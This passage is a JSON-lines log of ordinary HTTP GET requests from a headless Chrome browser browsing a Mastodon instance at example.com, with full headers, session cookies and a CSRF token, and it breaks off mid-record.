{"method": "GET", "target": "/bookmarks", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NDMuNzU3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--ea6b466b8bec4c76412ea4a453e6e6cb17a2a16d; _mastodon_session=uMUdA%2FZkUkIsNTcVm5xNFIbkbY41NVjWKNyV7YM7HWBVbM%2BXhhlbMDrlKhs0GBtNydUCkCSIet2vRVFxBfagocRCw8T5j%2FQDI2ByYL9q6zyFLNVNcGfODdXNheb9NV96v%2BFpp3FV9a30%2BVL4tU%2FPmgt%2B6iYEWOSM9g7%2FYkfm0mxMYSzZ29D%2BeXPcuz%2B1wWAqc1zaukNeOWnmNhNYtCXo0q9MxihMjcMm7xFFCXYNVNnu0X9EJgiYPEgkH4TY4CjY29vym9wwd8xXRS0WdLV94ip0jYWT%2BpQEM6wAu%2B070nk2mF66vynvSqkQi22UzIREgWqXh2USzb1MwDTrDcA6unybeuT5357hsJ5GFgPGvmdo8UV1RGvR8%2FB4yxXnLbw5p6Vt690htq2n--QbvMozOJikK6v%2F4q--z34wtSG4CMOivJpbIXuB3w%3D%3D"], "body": ""}
{"method": "GET", "target": "/favourites", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NDQuNTgwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9ca0811041e2ee1dabbec4dd3c33287b25a24d15; _mastodon_session=xhHtAPWb1ZbYiwaWMeVqvRpUHosArXY%2FcQmAJD%2FL51LEbm7fcnnTquyiysgc24SNdNyBfmqoCp%2BlohPcmCAnX1GoUj7b5vvuUF9qPoxYquUAuIkZewOpvCQrWp0ga%2Fpg%2BchB%2BaHLQCe3IckkPOYomof7Y46mb3p%2FlwnXqXDapaG1%2Brp7%2B2OMlw3xxymiAnG4s6onZnkIHPmlKJtUaNJ6YvdcVya6o%2FQcKG0D4KHi7Tgx3xdjecSaWnBe8cI7VK19K8xSsndQGf84lgsd2KZPfSi5TvSdzRjwbbu%2Bnp%2B6SdiOKtA%2Bc9lDienbQIO%2FemBPP%2BJ2EEUZhKv8M7ldavyvmfRh%2FPXtqwsH2XPrb5gPVz2IMJALA12%2BKZJLJvRZWNCA7pYtQyqC1ljJ--2Yf%2BI%2FF8Bu1VJ%2Bzl--SrSqiXumHyabScDav1Fx6A%3D%3D"], "body": ""}
{"method": "GET", "target": "/lists", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NDUuNzE5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9ee5965103010e030cb0396380e7fbdec6617dcf; _mastodon_session=o3o%2FRFcyn%2BuuRiRl%2BSzOyChXsAViWJDFgDlwwu2e%2BJqAEJ6Bfb625g44ZGp7BzWmaI7D7eC6cnB5nYEzoa7c06DnqbW7uolbIZqNDvUjjI%2FtjOo3kwYI%2BkesIiLuoRQXT9uFqOgh8mhPYTYUyegGAP%2B7uEBHINnLMy3G%2FchGWI2%2BijGs1Rac%2BDuLFrD0Jus9SMmzQ7WIg8nIhALr2hrtuWBqhc7gZdH0dKdEj%2FFIx1DBlaUJA1L1Mx2Y7NbKVmPtzLoLt%2BcuwDjPedtKDB%2FhDoZ99fJ%2FS4nojcOoHlMAdL2%2By%2BfWbyZgAhilVO3F%2FAuZE3aFvSn50qIPSrfTr%2BHiAh3hasypCP3%2BDofzTfh6hrRu4np1t%2Bv2HEy%2BtIOxg1lqLdDW3fjtB9Ky--oXM4vBYbsNosJhp3--ACHEkQQO%2FxMEq%2BStXAcOPQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/directory", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NDYuNTYwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a782fc312bdce7936f298948ecb580145e9b7101; _mastodon_session=DEmQEoeiY9ikVIZYOrjVXq%2FugxdZmclJYLglzbQE6VIg6nPwEFfIUNi78NcHtnygeFbe7TFeGvH1%2Bzn6kkUmWnMYxjtGBKLSUBUMyoQho3tl8orL%2FucOLSEr55joM7ZlsTIaxdWRd5IOxQ87vMooEfvTSVgscw4LOCERPKHIwEf%2F5Zz%2BRbrPCkXJ47ahozzESyxC7klyfY31bT%2FHnH0JV1W7mR6k1MwvzAqvK2Jo6VLFME%2Be5phOOhm1YAlt4YORfD6mnzbktsdvRVKBAkmKEXYYA3pzbGY3MSyCf72979lkzp5cIVtvk5Yn0t6M7aNmXsuln0EQANMqA4Na4Sep9KM32oqQl2jIKXekzrHufHVt5g%2Fmp530XnF57lbjEz%2FWMwLEvvGM0AKP--Hjns012KtGlLNccQ--gYPkBAWRUOUqympoNjMw%2FA%3D%3D"], "body": ""}
{"method": "GET", "target": "/conversations", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NDcuNjc0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b626440ceeb06d479e15138ccb5ff51c5742cc77; _mastodon_session=ZCZNRAgCGgSTqu3khOk%2FIvuOxgzjOcd%2BxASaH7ddiNv4sQAS6L%2F6CLDaD7lsPMkv5ywqI26ZZ91R%2BGhx60bGdG3xDVP1iOG6ga7E0beB0vdlQlT7ei84GB4fwpF9G9D%2BNuzbZVrnJeXK1vkwJeQtphze%2BftXmu%2Bd1BFm%2FLi22Uf6oMna%2FZLEX%2BkYiBbrJswQVpEPjWVMgouFyP87YxumiXj0QaPfYuWBjZ9U%2FTeQtf4LepFv%2BLHYBiAO1NW7VLcxL1Gkee2V8OyVr%2ByxmUbvmXneWLlZIU%2FPkw16%2BPtBUmYmLGrDUI%2Fm6oKKjlfw5IKpFeu92Uu%2Bocw59jrGR1Nkmc47n6%2FKnkHbT8THGs5hZ2gn4BxQndyBfiiYoPkzc1PxZ3UW%2BOWAIK4k--T5vZkHtDRj3o%2BXLx--PFJtAW7heHSYU9kyD4EcHw%3D%3D"], "body": ""}
{"method": "GET", "target": "/@bob", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NDguNTYzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--64c828a301085a038d39938315981461a67d4c16; _mastodon_session=zw4TO2H7a2mvpfHCXxN28hFjkM2GDU1V9OpeNBMiQEZNhg51xYJYP8buMLut%2BQrFJkBYzYhJVbrMBqiQGtfEWMP7VHLaeVPE%2B805jhuhyC4c%2FQx9GAzBQdFKFtgYujti5EqZsJTCjpKYvTNlevywZYScudoMoMHsQR%2FYkuTh5ZFMI2%2FjhRrC6UIn23LUCwhVuQsHc1N5Y4bxITI2lDBuWnLXjUCIT2igQfAwANT9S7%2Fj9QQqZWUI%2BDeqdqaDQqpx%2FtBDx2ODv0G%2FsOh8NtdsPkDv4DcnxsMZzAD7JwhOmiwJ09gZq3GLcc0vdJ5uYLq5NKRGwQYEDwZuJ4y4TT1%2BI5N6tSFMyDGI57p0JH8Kb0FtoNFyonJ%2BbZHV%2B8bqXPjfKzbS9V797%2FCT--XmPJCLgRqFiHnUqa--M%2FmmtnAINXQ8JOSefE%2BQVw%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/redux-toolkit.modern-DNDb-du5.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/@bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NDkuNjcxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--8c385e15467c9db67377396d7d4f36a9cb765abb; _mastodon_session=wjCgsZ2LULZeRy1xUcJtGn3ow5A5fSLS%2BnhuFU99JC10Z8wFR2exy%2FYkBrzX43hbbLLPiSKtFV0sOxDfMQ0jwBsf7TwXrRRrmIjOuo%2BLy5ytSmS37dobvsNk0kumq7X6HOfaA%2F9vrGGcrs06uU5opasPlfTHX5tAi%2Biw0%2BOHUN20vW%2BAV1gdP6lFRFz1c6q2ZSh5NW16JWveRwk68YctZobyaSFPgtI%2F%2B2idskh%2B1QJx640rRAVAf69tJCQWur3n%2BvOn7GSMMMTDJvRadmM%2BTlsADyG32ycyNhdP3TYcPJnIV9Av1yTFhcJyurh7nniHXDZOfDGtVvQBgqq5pi7QMNJ3VV78HxF5BezJqMcoEAT3KmgdUo2P%2FSZzG%2BDrjDkDFp3Her8zwBzX--gS5YEXYAUHPp9vf4--BMN2zjGddSKMAOIPcjPzqA%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/blurhash-CM3tW5se.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/@bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NDkuNjcxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--8c385e15467c9db67377396d7d4f36a9cb765abb; _mastodon_session=wjCgsZ2LULZeRy1xUcJtGn3ow5A5fSLS%2BnhuFU99JC10Z8wFR2exy%2FYkBrzX43hbbLLPiSKtFV0sOxDfMQ0jwBsf7TwXrRRrmIjOuo%2BLy5ytSmS37dobvsNk0kumq7X6HOfaA%2F9vrGGcrs06uU5opasPlfTHX5tAi%2Biw0%2BOHUN20vW%2BAV1gdP6lFRFz1c6q2ZSh5NW16JWveRwk68YctZobyaSFPgtI%2F%2B2idskh%2B1QJx640rRAVAf69tJCQWur3n%2BvOn7GSMMMTDJvRadmM%2BTlsADyG32ycyNhdP3TYcPJnIV9Av1yTFhcJyurh7nniHXDZOfDGtVvQBgqq5pi7QMNJ3VV78HxF5BezJqMcoEAT3KmgdUo2P%2FSZzG%2BDrjDkDFp3Her8zwBzX--gS5YEXYAUHPp9vf4--BMN2zjGddSKMAOIPcjPzqA%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/alt_text_badge-DgGj3HLf.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/@bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NDkuNjcxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--8c385e15467c9db67377396d7d4f36a9cb765abb; _mastodon_session=wjCgsZ2LULZeRy1xUcJtGn3ow5A5fSLS%2BnhuFU99JC10Z8wFR2exy%2FYkBrzX43hbbLLPiSKtFV0sOxDfMQ0jwBsf7TwXrRRrmIjOuo%2BLy5ytSmS37dobvsNk0kumq7X6HOfaA%2F9vrGGcrs06uU5opasPlfTHX5tAi%2Biw0%2BOHUN20vW%2BAV1gdP6lFRFz1c6q2ZSh5NW16JWveRwk68YctZobyaSFPgtI%2F%2B2idskh%2B1QJx640rRAVAf69tJCQWur3n%2BvOn7GSMMMTDJvRadmM%2BTlsADyG32ycyNhdP3TYcPJnIV9Av1yTFhcJyurh7nniHXDZOfDGtVvQBgqq5pi7QMNJ3VV78HxF5BezJqMcoEAT3KmgdUo2P%2FSZzG%2BDrjDkDFp3Her8zwBzX--gS5YEXYAUHPp9vf4--BMN2zjGddSKMAOIPcjPzqA%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v1/accounts/lookup?acct=bob", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: Kdz6DOfyLxHrd5-FZG4VpsB9_UD2rYMs8c5LvKCcJezPYaU2qrBrHNws0aY6Jx0_xXJurAEw1y1Jv15Eo19bdQ", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/plain, */*", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NTEuMDQ0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--aa61febdb5d1576ced2969a701bad6f6148175f8; _mastodon_session=KBs4igKGz3OqdzEnnUxk%2F8V92Sgb5A3CZoaWuQkYwHEcdZNtYWornZm25ZsXIz5LRfChDBU4MJoZZAfj3%2FoyKiFku%2BjLBKMkpug58MjMR5szf5yLSiQpQ50%2BghS7N4LGFX1zF3UH3asRqcYsbeanHqLGNrtM73sc7pHyE2MN811KSXcL%2B%2BPhYhh8IPQxNlltu1soEdDLQCRukIUCM%2F7vtj29haKUDW%2BZ95u9IxiRFXYrFL6C0XNEn%2FQHRM4XOhLhFl24nHJUbfMF4Hy%2Bci72rZf1D1Su6vXTuGvpNKK3aalSn0oFf%2BUqPg3JnhCHzXpzqspK%2F9V21WveNoyztif8b%2FvavsrWEG%2BVIvoK8U4V%2F7m%2BA%2BzkqVx2KKdqR00sO0SYIPOsHQzD8m%2Bp--otqlKd1r1pQjRPaM--lc8Z6ahsj%2BiqbtvJSlrXwA%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v1/accounts/117589325674471006/featured_tags", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: Kdz6DOfyLxHrd5-FZG4VpsB9_UD2rYMs8c5LvKCcJezPYaU2qrBrHNws0aY6Jx0_xXJurAEw1y1Jv15Eo19bdQ", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/plain, */*", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NTEuMTE1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9836eadc75881158169d2c375c18b0c43f0c7fd5; _mastodon_session=L5SxrnuL1rfcnwTpTV1YbhmKRSPxVfLgHp4bSYaPKjScdjKvS7IaWgAgaURoYxAxHjvDszIbCxu434GPuqY1C41ElzanEmd20lUi%2FuNyR%2Fyh%2FkZX%2BxHJ3CNY9WgyDbbvddbj9aFQaFWvkbLNELRPoSGt%2BC2vEL%2Bgkp64ziyab5jCDrOrJeXlr6atdueeAbtVKZ8I4rDOIk1r6PzV%2BQPsUZJ%2F8wbOWoX5zUjyAQuu%2FGYcWU%2FRm3Dr9Q9ZSdWunuNP2IrFTTRRnlZ%2FGrlcatjDC4ZLwa5klQ6n1Q%2FPwzb%2FGZCaLgeo%2BPAbQRScla%2BG3Uhgimh%2BUVtyHCqDTAQFsALx4yP8MgJql61eD0I81DPDpAAPi2h0eCKC0mWpc5bJ4XSX3EZ2%2FFvCp9JC--Wi634MwP2LuJ4Tbi--zpl%2BnOA8iPGnSTrURh5VFA%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v1/accounts/117589325674471006/statuses?exclude_replies=true", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: Kdz6DOfyLxHrd5-FZG4VpsB9_UD2rYMs8c5LvKCcJezPYaU2qrBrHNws0aY6Jx0_xXJurAEw1y1Jv15Eo19bdQ", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/plain, */*", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NTEuMTE1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9836eadc75881158169d2c375c18b0c43f0c7fd5; _mastodon_session=L5SxrnuL1rfcnwTpTV1YbhmKRSPxVfLgHp4bSYaPKjScdjKvS7IaWgAgaURoYxAxHjvDszIbCxu434GPuqY1C41ElzanEmd20lUi%2FuNyR%2Fyh%2FkZX%2BxHJ3CNY9WgyDbbvddbj9aFQaFWvkbLNELRPoSGt%2BC2vEL%2Bgkp64ziyab5jCDrOrJeXlr6atdueeAbtVKZ8I4rDOIk1r6PzV%2BQPsUZJ%2F8wbOWoX5zUjyAQuu%2FGYcWU%2FRm3Dr9Q9ZSdWunuNP2IrFTTRRnlZ%2FGrlcatjDC4ZLwa5klQ6n1Q%2FPwzb%2FGZCaLgeo%2BPAbQRScla%2BG3Uhgimh%2BUVtyHCqDTAQFsALx4yP8MgJql61eD0I81DPDpAAPi2h0eCKC0mWpc5bJ4XSX3EZ2%2FFvCp9JC--Wi634MwP2LuJ4Tbi--zpl%2BnOA8iPGnSTrURh5VFA%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v1/accounts/117589325674471006/statuses?pinned=true", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: Kdz6DOfyLxHrd5-FZG4VpsB9_UD2rYMs8c5LvKCcJezPYaU2qrBrHNws0aY6Jx0_xXJurAEw1y1Jv15Eo19bdQ", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/plain, */*", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NTEuMTE1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9836eadc75881158169d2c375c18b0c43f0c7fd5; _mastodon_session=L5SxrnuL1rfcnwTpTV1YbhmKRSPxVfLgHp4bSYaPKjScdjKvS7IaWgAgaURoYxAxHjvDszIbCxu434GPuqY1C41ElzanEmd20lUi%2FuNyR%2Fyh%2FkZX%2BxHJ3CNY9WgyDbbvddbj9aFQaFWvkbLNELRPoSGt%2BC2vEL%2Bgkp64ziyab5jCDrOrJeXlr6atdueeAbtVKZ8I4rDOIk1r6PzV%2BQPsUZJ%2F8wbOWoX5zUjyAQuu%2FGYcWU%2FRm3Dr9Q9ZSdWunuNP2IrFTTRRnlZ%2FGrlcatjDC4ZLwa5klQ6n1Q%2FPwzb%2FGZCaLgeo%2BPAbQRScla%2BG3Uhgimh%2BUVtyHCqDTAQFsALx4yP8MgJql61eD0I81DPDpAAPi2h0eCKC0mWpc5bJ4XSX3EZ2%2FFvCp9JC--Wi634MwP2LuJ4Tbi--zpl%2BnOA8iPGnSTrURh5VFA%3D%3D"], "body": ""}
{"method": "GET", "target": "/tags/python3", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NTEuMjY1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--854beace6a0a8d7da422c356dbc1518be180b139; 